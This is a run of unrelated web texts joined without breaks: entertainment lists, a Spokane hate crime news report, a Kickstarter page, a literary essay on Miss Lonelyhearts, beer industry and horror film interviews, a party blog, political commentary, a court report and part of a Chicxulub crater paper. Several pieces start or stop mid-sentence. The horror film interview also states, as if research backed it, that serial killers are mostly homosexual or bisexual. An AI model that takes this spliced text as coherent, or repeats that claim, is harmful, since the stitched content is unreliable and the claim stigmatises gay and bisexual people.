I love you. I love crayon-breaky Willow and I love scary veiny Willow. So if I’m going out, it’s here.
-Xander Harris
The final three episodes of season 6 are some of the strongest episodes the show has ever put out, and while Tara’s death is incredibly sad, it was Xander reaching out to Willow and ending her reign of terror that truly started the waterworks. By referencing the day they met, when Willow broke a yellow crayon in kindergarten and didn’t want to tell anyone about it, he taps into regular Willow (thanks to the magic Giles used on her earlier in the episode) and is able to use his love to drain the dark magic out of her. It’s less cheesy than it sounds. Seriously though after three episodes of watching Willow lose it after Tara’s death, this was an incredibly cathartic moment that allowed viewers to break down with her.
Bunnies! Floppy, hoppy, bunnies!
-Anya Christina Emmanuella Jenkins
Can you tell I have a soft spot for Anya? She occupies three slots on this list for a reason, you know? We all knew Spike was going to be resurrected later that year on Angel so his death, while sad, doesn’t hold a candle to the finality of Anya’s death. After a long, long life of avoiding battle, Anya finally joined in on the fight. What does she get for it? A quick, blink-and-you’ll-miss-it death. Xander doesn’t even find her body! We just get that awful shot of him looking for her with a glimpse of her corpse under the rubble.
You have no idea how difficult it was to narrow this list down to just 10 moments (and maybe I’m biased towards Anya). I’ve cried way more than 10 times watching this fantastic series so there was no way to do it justice by just limiting it to 10 moments, which is where you all come in. Which Buffy the Vampire Slayer moments made you cry the hardest? Let me know in the comments below!SPOKANE, Wash. (AP) - Two men have been arrested in Spokane, Washington, for an alleged hate crime after a black man was beaten and his home was the target of numerous gunshots.
Jason Edward Cooper, 32, is accused of shouting racial slurs at Norris Cooley, 66, punching him in the face and pointing a gun at his head late Sunday night, police said. Cooley's house was also peppered with eight or nine gunshots, police said..
Cooper and Donald Lucas Prichard, 36, were arrested on Monday. They appeared in court on Tuesday where they were charged with first-degree assault and malicious harassment, which is a hate crime ordinance. They remain in the Spokane County Jail.
"The victim of the shooting was a black/African American male," police said in a press release. "One suspect had called him racial slurs, punched him in the face, and threatened him with a gun."
It was not clear Wednesday if Cooper or Prichard had obtained a lawyer. They are scheduled to be arraigned on Oct. 24.
Police worked "nearly 24 hours straight" to arrest the suspects because they "are aware of the negative impact incidents like this can have on our community," police said.
"Cooper made statements, and had body markings supportive of white supremacy," police said.
The Spokesman-Review reported Wednesday that Cooley was working in his garage late Sunday night when two men came out of a neighboring home and began shouting racial slurs and threatening to shoot him.
Phil Tyler, former president of the Spokane chapter of the NAACP, issued a statement asking the community to resist hate crimes.
"These types of acts are meant to threaten and place fear in the minds of our citizens, our neighbors, our friends," Tyler said. "We cannot and will not tolerate these acts."
Tyler wrote that such brazen hate crimes are a growing problem across the nation, and thanked police for the quick arrest.
Elizabeth Fisher, who shares the house with Cooley, told the newspaper that Cooper came up to him and called him a "rapist, child molester, and (the N-word)."
"This guy just came over here, saying that black lives don't matter, only white lives matter," Fisher said.
Cooley told police he was then punched in the face and threatened with a handgun.
The two men then left, and Cooley told police shots were fired at the house about 20 minutes later.Teachers should know that a bathroom trip will take at least a few minutes, especially if there's diarrhea involved!
I stumbled upon this journal entry written by a second-grade student venting about her "stuped" teacher. The note was discovered by her parents - while they were bothered that the teacher would only allow "10 secins" to use the bathroom, they also found the feisty 7-year-old's note to be hilarious. stumbled upon this journal entry written by a second-grade student venting about her "stuped" teacher. The note was discovered by her parents - while they were bothered that the teacher would only allow "10 secins" to use the bathroom, they also found the feisty 7-year-old's note to be hilarious.
Her parents saved the journal entry and presented it to her when she was 22. She said her dad especially loves it, so her husband had it framed a few years later as a Secret Santa gift for him. I hope it makes you smile the way it made me.
She would also like to state, for the record, that Ms. Smith was a horribly mean teacher and deserved to be called names. With that said, she feels one of the insults is insensitive and apologizes for it.About
In grad school I was told by an professor that pro wrestling wasn't a legitimate subject for a serious artist. I couldn't have disagreed more! It was very personal to me. Pro wrestling goes back generations in my family- back to the early 1900's where my great-grandfather was the middleweight champion of Nebraska!
Nebraska Wrestlers, 1911
So after I dropped out of college, I sat down and started drawing wrestlers. Superstars and jobbers. Champions and jabrones. From the pioneer grapplers of the 1800's to the TV heros of today. After a thousand portraits, I stopped and had an exhibition and self-published a book of all of the drawings. http://slam.canoe.ca/Slam/Wrestling/2005/07/24/1146081.html
1000 Wrestlers The Exhibit, 2005
The book with my portrait on the back cover even made a brief appearance in the Mickey Rourke movie. (Don't blink!)
Seven years later, the project feels incomplete. I've decided it's time to start drawing wrestlers again. There's so many current and classic superstars who didn't make it in the first 1000- Cena, RVD, Styles, Cabana, Christian, Doink, Big Show, Ryder, Ziggler, Bockwinkel...just to name a few.
I'm a big fan of zines. The last few years I've been publishing my own art zine, "EMZ." My goal was to make my art and ideas more accessible, rather than just for the patrons of the galleries. Instead of making another book of 1000 portraits, my plan is to create smaller zine style issues, where I can get the newest batch of drawings out right away and move onto the next ones. I'm a screenprinter by day, so each issue will have signed and numbered hand printed covers. Plus whatever other goodies I can come up with.
Mad Dog Vachon, 2012
I love creating. I never became an artist to make money. I just enjoy the connections I can build with similar minded people. Through Kickstarter, I'm hoping to find people who are interested in wresting and art, or maybe just intrigued by the insanity it takes to resume a project like this. I'm looking to raise this money to help keep me stocked with Sharpies, paper, lots of toner, ink, postage and mailing materials, and then fund some of the time it takes to draw and research. Thanks to everyone who supports the arts, and double thanks to all of those who don't turn their noses up at us wrestling fans!Herbert Hoover used the word “Depression” to describe the nation’s financial miseries advisedly. He felt it would cause less alarm than “crisis” or “panic,” terms that were more commonly used at the time to describe financial collapse. But Hoover’s nomenclature was a self-fulfilling prophecy. Panics and crises, painful as they might be, tend to resolve themselves quickly. The Great Depression caused great depression, the incineration of the stock market cauterizing the national mood, yielding a period of cynicism, inanition, and despair. No novel captured the spirit of this time more indelibly than Nathanael West’s Miss Lonelyhearts, which was published in the year that the national unemployment rate reached its highest level. Twenty-five percent of American workers were unemployed in the winter of 1933, but one job remained in high demand: newspaper advice columnist. The misery industry was booming.
The idea for the novel arose from a dinner that West had with the writer S.J. Perelman, who was his brother-in-law, and Quentin Reynolds, a former college roommate of Perelman’s. Reynolds wrote an agony column, “Susan Chester Heart-to-Heart Letters,” for the Brooklyn Eagle. He thought that the pathetic letters he received might be of use to Perelman for one of his humor pieces, but Perelman found the letters too depressing to be mined for comedy. West, on the other hand, immediately understood their potential. He stuck them in his pocket, and would later copy them, almost verbatim, into his novel.
It’s ironic then that the most comical moments in Miss Lonelyhearts come from these letters, whose authors sign their names “Desperate,” “Disillusion-with-tubercular husband,” “Broken-hearted,” and “Sick-of-It-All.” But the humor is black, disturbed, curdled:
“I have a big hole in the middle of my face that scares people even myself so I cant blame the boys for not wanting to take me out.”
“Gracie is deaf and dumb and biger than me but not very smart on account of being deaf and dumb.”
“…I always said the papers is crap but I figured maybe you no something about it because you have read a lot of books and I never even finished high.”
West’s columnist, who is only identified as Miss Lonelyhearts, laughs at these letters himself, but not for long. “He could not go on finding the same joke funny thirty times a day for months on end,” writes West. The joke, Miss Lonelyhearts soon realizes, is on him.
The letter writers ask for help and wisdom, but all of their pleas can be reduced to a single question—the big question. It is posed most memorably by a cripple named Peter Doyle, who works merciless hours only to come home to a cruel, unfaithful wife. “What I want to no,” writes the semi-literate Doyle, “is what is the whole stinking business for.”
West examines all of the conventional answers, holding each up to scrutiny, before discarding them with disgust. A life devoted to pleasure; to art; to a self-sustaining agrarian existence; to exotic travel; to drugs—all are revealed to be foolish fantasies, one more ridiculous than the next. Happiness is a fraud, a sickness even. Life is the sum of suffering and tawdry pleasures. Man is a stupid, greedy animal. Depression is not only the spirit of the time—it is the eternal human condition. Even suicide is deemed absurd. West reserves the greatest disdain, however, for the consolations of religion. “If he could only believe in Christ,” he writes, “then everything would be simple and the letters extremely easy to answer.” Elsewhere he writes: “Christ was the answer, but, if he did not want to get sick, he had to stay away from the Christ business.”
But Miss Lonelyhearts can never escape the Christ business, no matter how much he and his colleagues ridicule religion and its devotees. This is why the novel’s ending, in which Miss Lonelyhearts becomes a Christ figure himself, has puzzled readers for eight decades. What to make of his transformation from cynic to martyr? It seems impossible that he has found religion. But equally impossible is the idea that he has become a secular Christ who finds redemption in comforting others. Most likely, it seems, is that, after a terrible fever that keeps him in bed for three days, Miss Lonelyhearts has gone insane. This is the gloomiest interpretation of all—that life, and suffering, have no meaning whatsoever.
The novel’s power lies in its sick laughter in the face of implacable doom. No act of charity goes unpunished. When Miss Lonelyhearts forces himself to take the hand of the cripple Doyle in a gesture of compassion, he must resist his revulsion. Sex is no less grotesque; during the act he hears “the wave-against-a-wharf smack of rubber on flesh.” Even a vacation with his fiancée to an idyllic Connecticut farm turns into a nightmare: “Although spring was well advanced, in the deep shade there was nothing but death—rotten leaves, gray and white fungi, and over everything a funereal hush.”
In a bleak era, Miss Lonelyhearts went farther than any novel in its contemplation of despair. The novel is, in fact, the purest expression of despair that American literature has produced, in any era. But it’s not all bad news. Art may provide no consolation in the final reckoning, but it still gives us our best chance to make sense of what Doyle calls “the whole stinking business.” In dark times, Miss Lonelyhearts shines the brightest light in the blackest places. For this reason West’s novel has never felt more |
brewers of squashing craft beer culture by buying up smaller brands. The campaign by the Brewers Association specifically targets Anheuser-Busch InBev—which has acquired 10 craft brewers since 2011—but MillerCoors is also implicated because it has four craft brand acquisitions under its wing.
Pete Marino, president of MillerCoors' craft and imports division, called Tenth and Blake, fired back at the Brewers Association in a corporate blog post. "If the number of inbound calls that we are getting is any indication, more and more independent craft brewers are open to the idea, or at the very least exploring their options to partner with a large brewer or financial partner," he said.
The tussle comes as the craft beer segment shows signs of cooling after years of strong growth. Production volume in the first half of the year grew 5 percent, trailing the 8 percent growth pace set at the same time last year, according to the Brewers Association. MillerCoors craft acquisitions include Revolver, Terrapin, Saint Archer and Hop Valley.
Marino has been overseeing those brands since Sept. 1 when he took over Tenth and Blake. He also serves as the brewer's chief communications officer. Ad Age caught up with Marino at last week's National Beer Wholesalers Association meeting in Las Vegas to get his take on craft beer and how the brewer is putting more marketing behind its brands, including opening taprooms at pro sports stadiums. Tenth and Blake VP of sales and marketing Paul Verdu joined the conversation. Below, a lightly edited transcript.
What is the future of craft beer?
Marino: It's no longer good enough to brew an interesting beer, throw a catchy name on it, throw it on the shelf and expect it's going to sell. So you've got to start thinking about awareness. You've got to start thinking about building and driving a brand. We are still fearful that the beer category will become like the wine aisle. We are going to be punching hard against brand development.
(Editors note: Amid the craft boom, beer execs have long feared the 'winefication' of beer, in which styles become more important than brands.)
What changed?
Verdu: It can be semi-tiring standing in front of a craft beer section now. It's the paradox of choice: There are so many options, what am I going to choose? That is why we firmly believe it's the brands that are going to win out. The price of entry is good beer. There's thousands of good beers, great beers. The question is what is going to break the tie when it comes to consumers choosing, and it's going to be good beer plus some kind of story, some kind of brand proposition that stands out.
Will this new focus on branding translate into more media spending?
Marino: Depending on where you are from a brand evolution standpoint, I do think you will start to see more crafts that do more above-the-line [i.e. mass marketing.] Goose Island [owned by Anheuser-Busch InBev] is doing it right now. Our brands are pretty far away from that. But does that mean we should do more advertising on print and out-of-home and maybe even radio? I think we are going to be looking at all of that.
Terrapin Taproom Credit: MillerCoors
Verdu: It's not big-time TV advertising, but it's leveraging social and digital and actually creating places for consumers to go experience the brand … So the Terrapin Tap Room at the Braves stadium, the Hop Valley Hop Boxes that we are dropping into Safeco Field [and] AT&T Park. These are places where the brand stands out and actually says something about itself.
These sound like sports sponsorship deals. Aren't you essentially borrowing from the big beer marketing playbook to push craft beer? And since you are owned by a big brewer, aren't you biased toward these techniques?
Marino: I would say we are taking advantage of the big beer ownership on those deals for sure. But I don't think we are stealing from the big beer playbook in a way that is unique. Look at Sam Adams, look at Deschutes, look at [craft] brands that are further along in the national development phase. I think they are starting to do what maybe in the past has been mainstream beer [tactics]...Colorado State University has their own Colorado State beer that New Belgium is brewing for them. New Belgium is still independent. It's not just a provenance of big beer anymore to do these things that are going to spread awareness the right way for brands.
Is MillerCoors eyeing more craft brewer acquisitions?
Marino: A lot of people are questioning us whether we are done with M&A, and we are not. We are going to look at M&A with three variables in mind: One, it needs to be either a geographic or beer-style compliment to our current portfolio. Two, obviously the valuation has to be realistic, and valuations are starting to become more realistic. And three, we need to make sure the right people are coming into our business. Because we do think that people matter and we want to make sure we are bringing in people that help make us better.
Craft brewing enthusiasts have long criticized big brewer acquisitions. Earlier this year, the Brewers Association introduced an "Independent Craft" product seal that you guys are not allowed to use on your craft brands. What is your take on that?
Marino: I have no problem with independent brewers proclaiming their independence. What I do have a problem with is disparagement of beer … Anything that is done individually for competition, and they want to say 'I'm independent you are not, I just want to let you know,' then peace. But if it starts to get into the denigration territory, I have an issue with it.
Do you think consumers will look for this independent label and could it hurt MillerCoors craft brands?
Marino: Is there some small percentage of consumers that are going to be seeking that? I'm sure. But the overwhelming majority I don't think are going to care. They want a good beer drinking experience from brands they can identify with.
Craft beer sales have slowed. Are we going to start to see more craft brands disappear?
Marino: Definitely, I think so, I mean the law of averages would certainly suggest that. What I've heard [from distributors] is a lot of them are looking to cut proactively some of their long-tail of brands and SKUs that just aren't moving. It's become very difficult for them to manage at the distribution level if you don't have the velocity at retail.
AB InBev recently acquired an organic energy drink brand called Hiball. Is MillerCoors eyeing any non-alcoholic brand acquisitions?
Marino: That's not something that is on our radar screen at the moment. But whether or not it could be in the future, sure. I think we'll take a look at a lot of things.We worked on the first treatment of the script 5 or 6 years ago; it was more of a work that Oz Perkins (Anthony Perkins son) came up with and my thought was to bring back the slasher genre in some way. I really enjoy the 80's style horror films and we wanted to pay homage to that. We really wanted to pay attention to the details prominent for that time, but yet stay current to themes involving current issues. Thematically, this movie film is about the objectivation of women in the workplace, in photography and the fashion world.They would send the script to me for notes and my thoughts over the years. But Nick started writing the script with Oz Perkins for some time. They’ve been old friends and frequent collaborators even longer, for 10 years. We brought in a third writer, Robert Morast, a journalist and first time screenwriter who had a taste for the material. He helped filled in the gaps and put it together to where it needed to be [for production].My goal was to make the script and the project a time capsule within the genre, which you realize it could have taken place anytime. I want people to say, “Oh wow, that felt like a period (‘80s) piece. Although there are modern elements like cell phones, new cars, and the Internet, I still wanted to have that feel. I wanted a throwback to that style of filmmaking that doesn't exist anymore. Another thing I want to mention about shooting in that older cinematic style was it was deliberate.We had Dean Cundey as our cinematographer. He filmedand— his style complemented what we were trying to do.He was a mentor for a group of five horror writers signed with the Writer's Guild. Daniel Meers and myself (we wrotetogether) got into this new group and he was there by random crazy luck. Throughout the year, we had dinners at Wes' home and we just talk about what we're working on. I'd ask him every question we (as a group) can think of. The guild normally tells us to not to show him your work, but he’d ask what we're working on. I had the script forfor four years now, and I didn’t know if it was good or not.Wes said: “Send it over and if you want feedback, let me know.”I said, “Okay.” So I sent it. Ten days later, he got back to me and gushed all over it. He ended the email, saying, “What can I do to help get it made?”He was already sick by the time we started shooting, so he didn't come to location — but he was planning on it. We sent him dailies every day and he'd watch them to give us his thumbs up or down. He helped me make some hard decisions as far as like you can cut this out, or how to get to the action faster. He was very collaborative.Wes became the grandfather to this movie. We became really good friends. Me, Nick and Wes... even towards the end, we were close. We had deep conversations about the production, and he kept tabs all the way before the final sound mix came in and before he tragically passed away. His departure struck us hard. Right at the end, we finished this movie and he was not able to see the final product. We premiered it at the Toronto International Film Festival two weeks after.It fell upon us by circumstance. I personally knew that Victoria was the right place to come shoot. I loved it. I love the Pacific Northwest. There's something really majestic that I think, if captured correctly on film, can be made for great cinema.We originally talked about South Dakota — where I am from — but ultimately it became difficult to shoot there. We looked at other places in the US, like Michigan and Georgia but it didn't have the look and feel l wanted [to replicate the Black Hills and Badlands from home]. Victoria felt like a heightened version of South Dakota. There are areas where it feels like you've gone back in time. We shot at Wellburn's Market, which felt like a very vintage grocery store from the 80's, which is perfect... that's where we shot a good chunk of the movie. Every time you turn a corner, there's even places where you'd swear you're in Seattle.After growing up with my mother as that kind of horror/true-crimes enthusiast, I just grew up knowing all about that stuff and I wanted to make a story that actually scared me. We wanted things that could possibly really happen, like home invasions. That kind of thing terrifies me more, like with how the Manson murders took place. There are real horrific stories happening all the time and that's more terrifying to tell.I think the horror landscape of modern cinema is very predicated on ghost stories. Because of all those movies like— we kind of lost the classic serial killers / slashers that once graced the screen. There are no more Jasons, Michael Meyers and Freddie Krugers — though these character’s behaviour can sometimes be more surreal than serial. We lost that style from films like. They’re just not made anymore. Our goal is to bring that genre back.Finding it was kind of an accident. I was reading his stuff at the time and came across that while we're in the edit stage. I was blown away by it. I remember calling Robert Morris and said check out this quote. I said: “How creepy does this relate to our story? We should use it and put it in the beginning of the movie.” I used a quote too in, and its effect worked really well for that. These lines do set the tone and for, it did the same thing.I believe that line just describes the nature of photography. The art of, beauty of, and the power of what it can be used for — good, bad, evil — I think that was specifically a quote Nick chose to get the point of what this film explores.We consistently tell Colleen’s story throughout. I think Peter becomes a larger part of her story so that's why he becomes a bigger character. In reality we're tracking her from beginning...There are a lot of studies that highlight the fact that serial killers are most likely homosexual or bisexual. A detail that sometimes gets typecast is that the killers are burly and masculine... we're trying to turn the genre on its head a little bit, and show something that's a little more true to what's out there, and realistic. We're going for stuff in what's seen in real life society.There's definitely a love interest between Jerry to Tom for sure, and Tom is the master manipulator. You do see him not physically kill anybody. Between the two, he's the artist and Jerry is the murderer. There is something of a love story where audiences will see that Jerry is in love with Tom, Tom is in love with Colleen — it's a weird triangle.What we did was develop atype of relationship between the two men and that happened just within rehearsals and shooting. There were versions of the script where there was a lot more information about them and we started taking away that information. The less you knew about them the better it was — one of the notes from Wes was that you know what they want, you know what they're like, and you know where they live: that they're monsters and that's all you need to tell audiences.We’ve known Nima Fakhrara for a while. He's a Hans Zimmer protégé and he's done work in. Because of his experience, he has a real sensibility for genre and horror films and in where to go with these types of scores. Not only that, I think we have a lot of good songs in the movie. It'll give you a good feel for the product [on top of all the background music that's playing].To make a good horror film is such a hit and miss thing. People will either love it or hate it. I guess that's a good place to be. If it's fairly polarizing, at least you're evoking a kind of emotion out of them, and that works for me.We've been lucky enough to have an awesome executive producer, financier, and performers... Alghanim Entertainment — they definitely were amazing to let us flow creatively to put the best product forward.at the Victoria Film Festival: A Girl in the Photographs at the Victoria Film Festival Ed's review ofcan be found at Otakunoculture:Subscribe to 28 Days Later: An Analysis 28 Days Later Analysis Email SubscriptionFor her daughter's birthday party, one mom took her own childhood obsession — Strawberry Shortcake — and reworked it for a fabulous (and nostalgic!) celebration.
Aracely Baltodano of Minted and Vintage honored her daughter Abigail's first birthday with a seriously sweet doll-themed soirée complete with strawberry accents and an abundance of fabric bows. "As an adult, I dreamed of the day when the good Lord would bless me with a little girl, so that I could revisit my Strawberry Shortcake obsession through her!" Aracely explained.
Instead of opting for a modern Strawberry Shortcake bash, Aracely started out by collecting an array of vintage dolls (that she later used to decorate her daughter's bedroom) and crafted the invitations along with the paper details from her own designs. The proud mom stuck to a traditional Strawberry Shortcake color scheme of red, pink, green, and white. After she came across vintage strawberry fabric online, Aracely decided to design her daughter's outfit to resemble the doll's dress and also made her an elaborate birthday party cone hat to complete the adorable look.
For the elaborate dessert table, Aracely decided to have each treat represent one of Strawberry Shortcake's friends and completed the smash cake with a vintage figurine. "From my baby girl's dress to the dessert table labels, I absolutely adored crafting all the handmade details that went into this party," Aracely added.Pink Floyd musician shares his support for US presidential nominee Bernie Sanders, but has serious reservations about the democratic frontrunner
In spite of the fact he cannot cast a vote in the US election, Roger Waters has expressed his opinions on its potential candidates. The songwriter has shared his reservations regarding the potential presidency of democratic frontrunner Hillary Clinton, suggesting that she “might become the first woman president to drop a fucking nuclear bomb on somebody”.
Roger Waters: 'The most terrifying thing I've done? Stand up in front of 80 10-year-olds' Read more
The British citizen told Rolling Stone that if he could vote, he’d “cast [his] lot” with Democrat nominee Bernie Sanders, and said that while Hillary Clinton is a “far better alternative than any of the Republican candidates by a long, long way,” he has some concerns.
Hillary worries me. I have an awful worry that she might become the first woman president to drop a fucking nuclear bomb on somebody. There is something scarily hawkish about her, and she has that politician look down of, ‘You are never going to get a word of truth out of me.’
Of course, it’s not the first time that Waters, famed for his controversial political outbursts, which include comparing the modern Israeli state to Nazi Germany, has expressed his views on the election. A month ago the Pink Floyd composer labelled Donald Trump “pig ignorant”, and went on to say that Trump was “entrepreneurship gone wrong” and the “epitome of anything that might be considered bad”.
He did however, have some positive words to say about Vermont senator and Democratic presidential candidate, Sanders: “He’s the only person in the race that I see with any credibility. He seems to speak the truth, far as one can tell at this point. He seems prepared to stand up against big money and the banks and stand up for the predicaments of minorities, the middle class and the working class.”To The Honorable Portland City Commissioner Nick Fish:
You stated in a recently televised interview that the people have no right to stop the workings of their government. This, sir, with all due respect, is simply untrue. Our country’s ideal of government is founded upon the belief that it is of the people, by the people and for the people. Our form of representative democracy is founded upon the idea that we, the people, vote for representatives who will work in our best interests drafting legislation, executing laws and adjudicating the laws. Throughout the course of our country, there have been many examples of the people interrupting or halting our elected officials in the course of their work. Last night was another example of how our form of government works, regardless of whether or not our elected officials’ work days are interrupted.
It is incumbent upon the representatives of our government to act in a way that does not abrogate their responsibility to hear those they represent. It is entirely reprehensible for a representative of our government to act or to speak in a way that attempts to subvert or otherwise undermine the solemn agreement between those who serve as representatives and the represented.
It is incumbent upon the represented to bring the government’s and government representatives’ work to a halt when they feel their voices have been silenced or if they feel their government or their representatives are in some way breaching the agreement between the represented and their chosen representatives. Last night, the people of Portland felt their voices were not heard and their actions reflected this. Last night, you spoke against the very people you were elected to represent.
Portlanders are respectful, until they can no longer abide what they perceive as a threat to their democratically elected government. Portlanders have endured police improprieties in the past and have spoken out when they have had enough. Portlanders have every right to speak out about what they view as improper and inappropriate treatment by those who are sworn to serve and protect them. Portlanders have every right to be included in the contract negotiations between the city’s elected representatives and the police force, especially given Portland’s history of police improprieties, police brutality and abuses of power.
You, sir, abandoned your solemn responsibility by stating that those you represent had no right to stop your work as a representative of our government. You seem to have forgotten that when a government fears it’s people, there is liberty. When people fear their government, there is tyranny. You should have chosen your words much more carefully. You indicated in last night’s interview that you would disabuse Portlanders of their rights as citizens to disrupt your work as our elected representative. This kind of thinking leads to tyranny.
Rather than stating that the people had no right to stop your work, you could have simply said that more classes in civics is in order to better inform the younger generations on how government works, when it is appropriate for Portlanders to voice their concerns at which stages in the legislative process and how to be engaged, respectful and active participants in exercising their constitutionally protected responsibilities in our representative democracy. Instead, you stated that you thought that Portlanders had no right to interfere with your work. Your work, as our duly elected city commissioner, IS OUR work.
Thank you for your consideration.
Sincerely yours,
A politically-engaged observer currently living in lovely Portland, Oregon.Ahead of his trial a building project manager has claimed he can't be prosecuted because he didn't carry out the works.
A building project manager charged with carrying out unlawful work on an Auckland site has argued he technically didn't carry out the works - his construction team did.
Chin Keon Tan appealed to the High Court at Auckland, after he was charged in the district court with carrying out building work without a consent.
Although Tan was the project manager for the East Tamaki work site, he argued that he did not personally do any physical building work.
Following his not guilty plea in the Auckland District Court, Tan sought a pre-trial determination of the term "carry out works".
A summary of facts said Tan had been charged after an Auckland Council building compliance officer visited the property to see multiple renovations had been undertaken without consent.
However Tan's lawyer argued that his client technically hadn't been the one to carry out the works without approval.
He said any ambiguity in the law should be determined in Tan's favour, and that while other statutes provided for charges to be made against supervisors, the section of the law that he was prosecuted under did not.
Judge Stan Thorburn ruled that Tan's interpretation of the law resulted in "absurdity and injustice", but Tan appealed the decision saying it was "manifestly unfair".
His appeal was rejected in a December High Court ruling by Justice Timothy Brewer who said he didn't accept that building work was confined to the physical act and nothing broader.
Dismissing the appeal, he agreed with Judge Thorburn that it would be "nonsensical and savagely unfair on those wielding the hammers and shovels to expose them, and not those who supervise or instruct them".Drilling into Chicxulub's formation The Chicxulub impact crater, known for its link to the demise of the dinosaurs, also provides an opportunity to study rocks from a large impact structure. Large impact craters have “peak rings” that define a complex crater morphology. Morgan et al. looked at rocks from a drilling expedition through the peak rings of the Chicxulub impact crater (see the Perspective by Barton). The drill cores have features consistent with a model that postulates that a single over-heightened central peak collapsed into the multiple-peak-ring structure. The validity of this model has implications for far-ranging subjects, from how giant impacts alter the climate on Earth to the morphology of crater-dominated planetary surfaces. Science, this issue p. 878; see also p. 836
Abstract Large impacts provide a mechanism for resurfacing planets through mixing near-surface rocks with deeper material. Central peaks are formed from the dynamic uplift of rocks during crater formation. As crater size increases, central peaks transition to peak rings. Without samples, debate surrounds the mechanics of peak-ring formation and their depth of origin. Chicxulub is the only known impact structure on Earth with an unequivocal peak ring, but it is buried and only accessible through drilling. Expedition 364 sampled the Chicxulub peak ring, which we found was formed from uplifted, fractured, shocked, felsic basement rocks. The peak-ring rocks are cross-cut by dikes and shear zones and have an unusually low density and seismic velocity. Large impacts therefore generate vertical fluxes and increase porosity in planetary crust.
Impacts of asteroids and comets play a major role in planetary evolution by fracturing upper-crustal lithologies, excavating and ejecting material from the impact site, producing melt pools, and uplifting and exposing subsurface rocks. The uplift of material during impact cratering rejuvenates planetary surfaces with deeper material. Complex impact craters on rocky planetary bodies possess a central peak or a ring of peaks internal to the crater rim, and the craters with these features are termed central-peak and peak-ring craters, respectively (1). Most known peak-ring craters occur on planetary bodies other than Earth, prohibiting assessment of their physical state and depth of origin. Here, we address the question of how peak rings are formed, using geophysical data, numerical simulations, and samples of the Chicxulub peak ring obtained in a joint drilling expedition by the International Ocean Discovery Program (IODP) and International Continental Scientific Drilling Program (ICDP).
Upon impact, a transient cavity is initially formed, which then collapses to produce a final crater that is both shallower and wider than the transient cavity (1). Dynamic uplift of rocks during the collapse of the transient cavity in the early stages of crater formation (Fig. 1, B and C) likely forms central peaks (2). The dynamic collapse model of peak-ring formation attributes the origin of peak rings to the collapse of over-heightened central peaks (3). The observational evidence for this model is most obvious on Venus, where central peaks gradually evolve into peak rings with increasing crater size (4). The peak-ring-diameter–to–crater-rim-diameter ratio increases with crater size on Venus but does not get much larger than ~0.5. The lack of any further increase in this ratio led to the suggestion that in larger craters, the outward collapse of peak-ring material is halted when it meets the collapsing transient cavity rim (4).
Fig. 1 Dynamic collapse model of peak-ring formation. (A to F) Numerical simulation of the formation of Chicxulub (18) at 0, 1, 3, 4, 5, and 10 min tracking the material that eventually forms the peak ring [indicated by the arrow in (A)] and records the maximum shock pressure (blue color scale) to which the peak-ring rocks were exposed during passage of the shock wave. The red color indicates zones of impact melt, for which shock pressures have exceeded 60 GPa. The preimpact target rocks are composed of sediments (light gray), crust (medium gray), and mantle (dark gray). (G) Depth-converted, time-migrated seismic profile ChicxR3 (13). ChicxR3 is a radial profile (roughly west-northwest) that passes ~200 m from the location of M0077A. For comparison with the simulation, shading is added to match the final crater shown in (F), with light gray for inward-collapsed sedimentary rock, dark gray for peak-ring material, and white for Cenozoic sedimentary cover (21). Black dashed lines indicate dipping reflectors at the outer boundary of the peak ring, and red dashed lines mark reflectors that may be consistent with zones of impact melt rock in (F). IODP/ICDP Site M0077A is shown in (G) and placed in a similar position on the magnified inset of the model in (F). VE, vertical exaggeration.
A different concept for peak-ring formation—the nested melt-cavity hypothesis—evolved from observations of peak-ring craters on the Moon and Mercury (5–7). This alternative hypothesis envisions that the uppermost central uplift is melted during impact, and an attenuated central uplift remains below the impact melt sheet and does not overshoot the crater floor during the modification stage. Hence, in contrast to the dynamic collapse model (Fig. 1), this nested melt-cavity hypothesis would not predict outward thrusting of uplifted rocks above the collapsed transient cavity rim material. The origin and shock state of rocks that form a peak ring are less clear in the nested melt-cavity hypothesis because they have not been evaluated with numerical simulations. Head, however, postulated that material in the outer margin of the melt cavity forms the peak ring and therefore should be close to melting (6). This requires shock pressures of just below 60 GPa. In contrast, Baker et al. propose that peak rings are formed from inwardly slumped rotated blocks of transient cavity rim material originating at shallow depths and thus should have experienced lower average shock pressures than simulated in the dynamic collapse model (7).
The transition from central-peak to peak-ring craters with increasing crater size scales inversely with gravity (1), suggesting that the same transition diameter of ~30 km found on Venus (4) should also hold for Earth, and that craters >30 km in diameter should possess a peak ring. Craters on Earth often display internal ring-like structures, but complications and uncertainties owing to target heterogeneity, erosion, and sedimentation make it difficult to distinguish peak rings that are genetically linked to their extraterrestrial counterparts (8, 9). Seismic reflection data across the ~200-km-diameter Chicxulub multi-ring impact structure revealed it to be the only terrestrial crater with an unequivocal and intact peak ring, with the same morphological structure as peak-ring craters on Venus, Mercury, the Moon, and other rocky bodies (10–14). These seismic data and previous drilling also revealed a terrace zone formed from slump blocks of Mesozoic sedimentary rocks, with the innermost blocks lying directly underneath or close to the outer edge of the peak ring (Fig. 1G). This observation supported the idea that peak rings in larger craters could be created through the interaction of two collapse regimes, with the peak-ring rocks being formed from uplifted crustal basement that had collapsed outward and been emplaced above the collapsed transient cavity rim (15).
Numerical shock-physics simulations (Fig. 1) are consistent with the dynamic collapse model in that they reproduce this mode of peak-ring formation as well as other crater features, such as the observed mantle uplift and terrace zone (16–20). For the simulation in Fig. 1, we used well and geophysical data to construct the preimpact target, which is composed of a 33-km-thick crust with ~3 km of sedimentary rocks above the basement (21). We tracked the material that eventually forms the Chicxulub peak ring and show that it originates from mid-crustal basement (8- to 10-km depth) that is shocked to pressures >10 GPa (Fig. 1A). The peak-ring rocks first move outward and upward as the initial transient cavity forms (Fig. 1B), then progress inward to form part of the zone of central uplift (Fig. 1C), and finally collapse outward to be emplaced above collapsed transient cavity rim material composed of sedimentary rocks (Fig. 1C, light gray) that were originally between 0- and 3-km depth (Fig. 1, D to F). The dynamic collapse model therefore predicts that the Chicxulub peak ring is formed from uplifted crystalline basement rocks. Structural data from a number of exposed terrestrial impact structures supports the idea of dynamic collapse of the central uplift (9, 22–24) and that, in larger craters, the peak ring is formed from the interaction of two collapse regimes (25). In the simulation, the final crater (Fig. 1F) has the same key features as the upper 10 km of the Chicxulub crater, as imaged on a radial, depth-converted seismic reflection profile (Fig. 1G) (21). Specifically, a suite of dipping reflectors mark the boundary between Mesozoic sedimentary rocks and peak-ring rocks, with evidence of discrete melt zones within the peak ring (especially in the upper few hundred meters).
